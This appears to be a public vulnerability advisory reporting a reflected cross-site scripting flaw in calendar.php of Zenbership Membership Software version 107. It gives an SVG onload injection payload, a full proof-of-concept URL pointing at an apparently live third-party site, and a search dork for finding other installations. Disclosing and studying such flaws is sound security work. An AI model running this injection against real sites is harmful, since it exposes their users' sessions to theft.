======================================================================== | # Title : Zenbership Membership Software 107 XSS vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 Français V.(Pro) | # Version : 107 | # Vendor : https://www.zenbership.com | # Dork : Powered by Zenbership Membership Software. ======================================================================== poc : Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser. This vulnerability affects /calendar.php Attack details : Path Fragment input / was set to " ><svg/onload=alert(/indoushka/)> The input is reflected inside a text element. http://member.hfem.org/calendar.php?id=1&month=11%22%20%3E%3Csvg/onload=alert(/indoushka/)%3E&year=2016 Greetz : ⵏⴻⴽⴽⴰⴰ ⵙⴰⵍⴰⵀ ⴻⴷⴷⵉⵏⴻ------ⵯⵉⵯⴰ ⴰⵎⴰⵣⵉⴳⴻⵏ-------- ⵎⴰⵅⵡⴻⵍⵍ ⵛⴰⵛⵀⴷoⵍⵍⴰⵔ ------ | jericho * Larry W. Cashdollar * moncet-1 * achraf.tn | | ===================== pⴰⵛⴽⴻⵜ ⵙⵜoⵔⵎ ⵙⴻⵛⵓⵔⵉⵜⵢ =============================